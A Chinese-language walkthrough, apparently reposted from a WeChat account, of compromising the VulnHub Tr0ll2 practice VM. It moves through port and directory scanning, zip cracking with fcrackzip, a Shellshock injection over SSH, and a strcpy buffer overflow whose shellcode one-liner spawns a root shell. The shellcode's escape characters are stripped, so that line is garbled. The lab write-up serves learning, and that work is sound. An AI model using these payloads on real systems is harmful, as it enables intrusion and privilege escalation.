描述
Tr0ll 系列 VM 中的下一台机器。这比最初的 Tr0ll 难度有所提高,但解决所需的时间大致相同,而且毫无疑问,巨魔仍然存在!:)
难度是初学者++到中级
靶机地址:https://www.vulnhub.com/entry/tr0ll-2,107/
一、信息收集
获取目标IP地址
netdiscover -i eth0 -r 192.168.0.0/24
确定目标后 进行nmap扫描收集更多信息
nmap -sV -sC -p- -oN /CTF/vulnhub/Troll2/nmap 192.168.0.104
发现了3个端口 21(FTP)、22(SSH)、80(HTTP)
先从80(HTTP)入手,访问WEB地址
又是这个表情包,查看一下源代码寻找更多有价值的信息
在这里找到了作者的名字 先记下来
使用dirb工具枚举更多的东西
dirb http://192.168.0.104
存在/robots.txt,使用web浏览器进行访问
在这里看到了很多的目录名称,由于一个一个访问太过于麻烦,使用wget下载到本地并制作成字典
wget http://192.168.0.104/robots.txt
继续使用dirb来进行枚举robots.txt的内容
dirb http://192.168.0.104/ robots.txt
果然 跑出了四个目录地址。我们尝试访问
每个目录都是相同的一张图片,检查一下页面源代码,看看能不能获取更多信息
啥也没有 接着把每个目录下的cat_the_troll.jpg下载到本地进行分析
wget http://192.168.0.104/keep_trying/cat_the_troll.jpg
使用tail命令读取图像编码 查找有价值的信息
tail -n 3 cat_the_troll.jpg
在其中一张图片编码中的结尾获得“y0ur_self”关键字 而且还说明了深入才能找到答案。那么尝试以下是否为目录
确实是个目录,而且还是名为“答案”的文件。
在打开answe.txt后,确认了这是个通过base64编码的字典
再次使用wget下载到本地
wget http://192.168.0.104/y0ur_self/answer.txt
进行base64转码为一个新文件decode.txt
base64 -d answer.txt > decode.txt
二、获得shell
但是还不知道这个字典有什么作用。那么现在尝试另一个突破口21(FTP).
在前面也搜集到一个名为“Tr0ll”的用户,很有可能是FTP的用户名和默认密码,接下来尝试登录。
ftp 192.168.0.104
成功登录
ls
get lmao.zip
在这里又找到了一个名为“lmao.zip”的文件,继续下载到本地进行操作
但是没有打开成功,zip文件有密码保护。刚刚转码的字典现在可以派上用场了,尝试猜解
fcrackzip -u -D -p decode.txt lmao.zip
好 现在成功的找到了密码 下一步解压文件输入上面的密码即可
unzip lmao.zip
解压后,得到一个noob文件。
查看noob文件
cat noob
好的 得到了SSH的RSA密钥。
尝试使用密钥登录SSH 用户名:noob
ssh -i noob noob@192.168.0.104
但是 被耍了!
在这里可以利用SSH中的shellshock漏洞,使用以下命令
ssh -i noob noob@192.168.0.104 -t "() { :; }; /bin/bash"
登录成功 但是权限很低
查看特权用户 设置了SUID的文件
find / -perm -4000 2>/dev/null
在最下面找到了三个文件 进入到目录后进行查看
这些都是二进制文件 我们尝试运行它
./r00t
这里会将我们锁定两分钟 怎么挣扎都是没用的
在这里就直接给我踢下线,焯
三、提权
这些二进制文件有着不同的工作方式,并在每次启动时改变让们的行为,其中一个二进制文件接受一个字符串作为参数并打印
ls -al *
在经过几次尝试和失败后,发现r00T最大的文件是容易受到缓冲区溢出的目标
接下来在gdb调试器中打开二进制文件以查看二进制文件的汇编文件
gdb -q r00t
set disassembly-flavor intel
disas main
在main+71发现了一个strcpy函数,非常容易受到缓冲区溢出的影响,尝试利用它
首先 使用metasploit中的pattern_create脚本创建一个500字节长的字符串来查找EIP偏移量
cd /usr/share/metasploit-framewrok/tools/exploit
./pattern_create.rb -l 500
复制后 在gdb中运行500字节字符作为参数运行
发现EIP寄存器被0x6a413969覆盖,表示已经溢出
运行pattern_offset.rb
./pattern_offset.rb -q 6a413969
得到了268的偏移量,所以只需要写入268个字符
四、获得root
运行
/r00t $(python -c 'print "A"*268 + "x80xfbxffxbf" + "x90"*16 + "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1xb0x0bxcdx80"')
最后在/root/下找到了“Proof.txt”,得到最终的flag
点击下方公众号获取更多内容
原文始发于微信公众号(剑客江湖):vulnhub-Tr0ll2
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论